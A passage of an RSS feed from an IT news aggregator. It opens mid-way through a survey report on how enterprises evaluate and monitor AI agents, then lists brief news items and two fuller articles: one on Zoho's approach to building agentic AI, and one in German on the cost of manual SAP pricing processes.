failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel]]></title>
<description><![CDATA[Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth concerns raised by fake Chrome upd...]]></description>
<link>https://tsecurity.de/de/3689711/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689711/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</guid>
<pubDate>Thu, 23 Jul 2026 18:44:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth concerns raised by fake Chrome update malware campaigns, but uses the browser after compromise rather than as […]</p>
<p>The post <a href="https://cybersecuritynews.com/chaos-ransomware-turns-chrome-malware/">Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider]]></title>
<description><![CDATA[AgentForger allows an attacker to create, insert and remotely control an invisible autonomous AI agent inside a victim organization. The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on SecurityWeek. This article…
Read more →
The post OpenAI Fixe...]]></description>
<link>https://tsecurity.de/de/3689513/it-security-nachrichten/openai-fixes-chatgpt-agent-flaw-that-could-let-attackers-forge-an-ai-insider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689513/it-security-nachrichten/openai-fixes-chatgpt-agent-flaw-that-could-let-attackers-forge-an-ai-insider/</guid>
<pubDate>Thu, 23 Jul 2026 17:41:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AgentForger allows an attacker to create, insert and remotely control an invisible autonomous AI agent inside a victim organization. The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on SecurityWeek. This article…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-fixes-chatgpt-agent-flaw-that-could-let-attackers-forge-an-ai-insider/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-fixes-chatgpt-agent-flaw-that-could-let-attackers-forge-an-ai-insider/">OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub slashes public bug bounty payouts as AI report flood buries its security team]]></title>
<description><![CDATA[Code shack also putting new limits on first-time researchers, and reserving the biggest rewards for a hand-picked group of proven hunters]]></description>
<link>https://tsecurity.de/de/3689468/it-nachrichten/github-slashes-public-bug-bounty-payouts-as-ai-report-flood-buries-its-security-team/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689468/it-nachrichten/github-slashes-public-bug-bounty-payouts-as-ai-report-flood-buries-its-security-team/</guid>
<pubDate>Thu, 23 Jul 2026 17:18:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Code shack also putting new limits on first-time researchers, and reserving the biggest rewards for a hand-picked group of proven hunters]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider]]></title>
<description><![CDATA[AgentForger allows an attacker to create, insert and remotely control an invisible autonomous AI agent inside a victim organization.
The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3689452/it-security-nachrichten/openai-fixes-chatgpt-agent-flaw-that-could-let-attackers-forge-an-ai-insider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689452/it-security-nachrichten/openai-fixes-chatgpt-agent-flaw-that-could-let-attackers-forge-an-ai-insider/</guid>
<pubDate>Thu, 23 Jul 2026 17:12:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AgentForger allows an attacker to create, insert and remotely control an invisible autonomous AI agent inside a victim organization.</p>
<p>The post <a href="https://www.securityweek.com/openai-fixes-chatgpt-agent-flaw-that-could-let-attackers-forge-an-ai-insider/">OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Collabora Online Turns 10, Refusing to Hand Over Your Data to Someone Else&#x27;s AI]]></title>
<description><![CDATA[Its newest version pulls in improvements from CODE 26.04, so there's AI involved.]]></description>
<link>https://tsecurity.de/de/3689410/unix-server/collabora-online-turns-10-refusing-to-hand-over-your-data-to-someone-elsex27s-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689410/unix-server/collabora-online-turns-10-refusing-to-hand-over-your-data-to-someone-elsex27s-ai/</guid>
<pubDate>Thu, 23 Jul 2026 17:01:45 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Its newest version pulls in improvements from CODE 26.04, so there's AI involved.]]></content:encoded>
</item>
<item>
<title><![CDATA[Famed technology journalist John C. Dvorak dies aged 80]]></title>
<description><![CDATA[Legendary technology columnist, pundit, author and podcast host John C. Dvorak has died, age 80. He is survived by his wife Mimi Dvorak.John C. Dvorak - image credit: No Agenda podcastToday Dvorak is best known for co-hosting the "No Agenda" podcast with Adam Curry, where he would critique mainst...]]></description>
<link>https://tsecurity.de/de/3689156/ios-mac-os/famed-technology-journalist-john-c-dvorak-dies-aged-80/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689156/ios-mac-os/famed-technology-journalist-john-c-dvorak-dies-aged-80/</guid>
<pubDate>Thu, 23 Jul 2026 15:17:25 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Legendary technology columnist, pundit, author and podcast host John C. Dvorak has died, age 80. He is survived by his wife Mimi Dvorak.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68333-144035-000-lead-Dvorak-xl.jpg" alt="Elderly man in a light suit and dark tie sits indoors, looking forward with a gentle expression, raising his hand to his forehead in a casual salute-like gesture" height="720"><br><span>John C. Dvorak - image credit: No Agenda podcast</span></div><br>Today Dvorak is best known for co-hosting the "No Agenda" podcast with Adam Curry, where he would critique mainstream news media. His death was first announced by the podcast on X, although note that Dvorak's age is mistakenly given as 74.<br><br><div><blockquote class="twitter-tweet"><p lang="en" dir="ltr">It is with great sadness that we announce the passing of John C. Dvorak, our beloved husband, father, and cherished host of the No Agenda Show at the age of 74.<br><br> <a href="https://appleinsider.com/articles/26/07/23/famed-technology-journalist-john-c-dvorak-dies-aged-80?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245034?urm_source=rss">Discuss on our Forums</a></p></blockquote></div>]]></content:encoded>
</item>
<item>
<title><![CDATA['Brick and mortar game retail is doomed' — Analysts report $7.2 billion second-hand game market could be in danger thanks to Sony's plan to retire the production of physical discs]]></title>
<description><![CDATA[The second-hand video game market could be in danger as a result of Sony's decision to end production of physical discs starting in January 2028.]]></description>
<link>https://tsecurity.de/de/3688755/it-nachrichten/brick-and-mortar-game-retail-is-doomed-analysts-report-72-billion-second-hand-game-market-could-be-in-danger-thanks-to-sonys-plan-to-retire-the-production-of-physical-discs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688755/it-nachrichten/brick-and-mortar-game-retail-is-doomed-analysts-report-72-billion-second-hand-game-market-could-be-in-danger-thanks-to-sonys-plan-to-retire-the-production-of-physical-discs/</guid>
<pubDate>Thu, 23 Jul 2026 12:50:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The second-hand video game market could be in danger as a result of Sony's decision to end production of physical discs starting in January 2028.]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meet Gigatoken: A Rust BPE Tokenizer that Encodes Text at 24.53 GB/s, up to 989x Faster than HuggingFace Tokenizers]]></title>
<description><![CDATA[Gigatoken is an MIT-licensed Rust BPE tokenizer that encodes text at gigabytes per second. On a 144-core AMD EPYC 9565, it runs GPT-2 tokenization at 24.53 GB/s. That is 989x HuggingFace tokenizers and 681x tiktoken, against baselines already written in multithreaded Rust. The gains come from a h...]]></description>
<link>https://tsecurity.de/de/3688375/ai-nachrichten/meet-gigatoken-a-rust-bpe-tokenizer-that-encodes-text-at-2453-gbs-up-to-989x-faster-than-huggingface-tokenizers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688375/ai-nachrichten/meet-gigatoken-a-rust-bpe-tokenizer-that-encodes-text-at-2453-gbs-up-to-989x-faster-than-huggingface-tokenizers/</guid>
<pubDate>Thu, 23 Jul 2026 10:26:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Gigatoken is an MIT-licensed Rust BPE tokenizer that encodes text at gigabytes per second. On a 144-core AMD EPYC 9565, it runs GPT-2 tokenization at 24.53 GB/s. That is 989x HuggingFace tokenizers and 681x tiktoken, against baselines already written in multithreaded Rust. The gains come from a hand-written SWAR pretokenizer and pretoken caching, not a faster BPE merge loop.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/meet-gigatoken-a-rust-bpe-tokenizer-that-encodes-text-at-24-53-gb-s-up-to-989x-faster-than-huggingface-tokenizers/">Meet Gigatoken: A Rust BPE Tokenizer that Encodes Text at 24.53 GB/s, up to 989x Faster than HuggingFace Tokenizers</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Preismanagement in SAP – der unterschätzte Kostentreiber]]></title>
<description><![CDATA[Manuelle Prozesse beim SAP-Preismanagement sind ein häufig unterschätzter Kostentreiber.  Ahmet Misirligul/Shutterstock



Die margenschwache europäische Automobilzulieferindustrie, für die Roland Berger und Lazard eine EBIT-Marge von im Schnitt 3,6 Prozent ermittelten, steht von mehreren Seiten ...]]></description>
<link>https://tsecurity.de/de/3687935/it-security-nachrichten/preismanagement-in-sap-der-unterschaetzte-kostentreiber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687935/it-security-nachrichten/preismanagement-in-sap-der-unterschaetzte-kostentreiber/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/shutterstock_2569463443_16.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Berechnung, Excel, Preis, Taschenrechner" class="wp-image-4196197" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Manuelle Prozesse beim SAP-Preismanagement sind ein häufig unterschätzter Kostentreiber.<br> </figcaption></figure><p class="imageCredit"> Ahmet Misirligul/Shutterstock</p></div>



<p class="wp-block-paragraph">Die margenschwache europäische Automobilzulieferindustrie, für die <a href="https://www.lazard.com/media/ibmev4k4/german-press-release-global-automotive-supplier-study-average-industry-profit-margin-drops.pdf" target="_blank" rel="noreferrer noopener">Roland Berger und Lazard</a> eine EBIT-Marge von im Schnitt 3,6 Prozent ermittelten, steht von mehreren Seiten unter Druck. Die Transformation zur E-Mobilität bindet Kapital, Produkt- und Modellzyklen verkürzen sich, und seit der Corona-Pandemie sind Lieferketten volatiler geworden sowie Energie-, Material- und Finanzierungskosten gestiegen.</p>



<p class="wp-block-paragraph">Großen Druck üben auch die Automobilhersteller (OEMs) durch enge Preisvorgaben und die regelmäßige Anpassung vereinbarter Preise (Preis-Updates) aus. Zugleich fordern sie zwei bis drei Prozent Produktivitätssteigerung pro Jahr, die Zulieferer meist in Form einer Preissenkung weitergeben. Ein fehlerfreies Preismanagement ist für Zulieferer daher eine wichtige Voraussetzung, um Margen-Killer wie Nachbelastungen und Vertragsstrafen der OEMs oder im schlimmsten Fall einen Auftragsverlust zu vermeiden.</p>



<h2 class="wp-block-heading">Lücken im SAP-Standard führen zu manuellen Prozessen</h2>



<p class="wp-block-paragraph">Genau hier liegt das Problem, speziell für Zulieferer, die Preise, Rabatte und Konditionen in SAP S/4HANA oder SAP ERP verwalten. Da der SAP-SD-Standard Funktionslücken bei Preisanpassungen und beim Import von Preis-Updates aufweist, werden viele Prozessschritte manuell ausgeführt, häufig in Excel.</p>



<p class="wp-block-paragraph">Daten zwischen Excel und SAP einzugeben und hin- und her zu kopieren, ist zeitraubend und fehleranfällig. Zugleich geht es zulasten der Datenqualität, weil Preisdaten nicht einheitlich und auch häufig mit großem Zeitverzug in SAP eingepflegt werden. Oft vergehen Tage oder sogar Wochen, bis die getätigten Lieferungen mit den neuen Preisen abgerechnet werden können.</p>



<p class="wp-block-paragraph">Das alles sind oft unterschätzte Kostentreiber. Besonders deutlich wird das bei Preisanpassungen. Schon ein mittelständischer Zulieferer verwaltet oft mehrere tausend Konditionssätze, vom Grundpreis über Rohstoffzuschläge bis zu kundenindividuellen Rabatten. Da jeder Preisbestandteil in SAP als eigener Konditionssatz geführt wird und der Standard keine Massenänderungen erlaubt, müssen die Sätze einzeln geöffnet, geprüft und bearbeitet werden. Das summiert sich rasch auf tausende manuelle Eingriffe, wobei jeder Vorgang abhängig von der Komplexität drei bis 15 Minuten dauert. Es fehlt zudem eine konsolidierte Sicht auf Preisstrukturen und die Möglichkeit, Preisänderungen vorab zu simulieren.</p>



<p class="wp-block-paragraph">Auch der Import von Preis-Updates, die OEMs wahlweise als Excel-, XML- und CSV-Datei oder per IDoc übermitteln, erfolgt wegen Lücken im SAP-Standard von Hand und dauert etwa zwei bis vier Minuten pro Datensatz. Da automatische Plausibilitäts-, Toleranz- und Kollisionsprüfungen fehlen, führen Mitarbeitende diese ebenfalls manuell durch, was die Bearbeitungszeit zusätzlich verlängert und das Fehlerrisiko erhöht.</p>



<h2 class="wp-block-heading">Was die manuellen Preisprozesse in SAP wirklich kosten</h2>



<p class="wp-block-paragraph">Weil sich dieser Aufwand und damit die Kosten auf zahlreiche Mitarbeitende, Dutzende von Konditionsarten und tausende Einzelbuchungen verteilt, taucht er im Controlling meist nicht als eigener Posten auf. Zulieferer tappen somit im Dunkeln, was manuelle Preisprozesse sie wirklich kosten. Diese Intransparenz kann sich in einer Branche mit derart knappen Margen kaum ein Unternehmen leisten.</p>



<p class="wp-block-paragraph">Ein Berechnungsbeispiel aus der Praxis macht die Größenordnung deutlich. Ein mittelgroßer Zulieferer mit 500 bis 1.500 Beschäftigten, der pro Jahr 5.500 Konditionssätze für Preisanpassungen und 4.500 Datensätze für Preis-Updates bearbeitet und je Satz im Schnitt neun beziehungsweise drei Minuten benötigt, kommt in Summe auf 1.050 Arbeitsstunden jährlich. Bei Arbeitskosten von 62 Euro pro Stunde (Stand: 2023), wie sie laut dem <a href="https://www.vda.de/de/themen/automobilindustrie/marktentwicklungen/produktion-der-deutschen-automobilindustrie-internationalisiert-sich-weiter" target="_blank" rel="noreferrer noopener">Verband der Automobilindustrie (VDA)</a> in Deutschland branchenüblich sind, entstehen direkte Kosten von etwas mehr als <strong>65.000 Euro</strong>.</p>



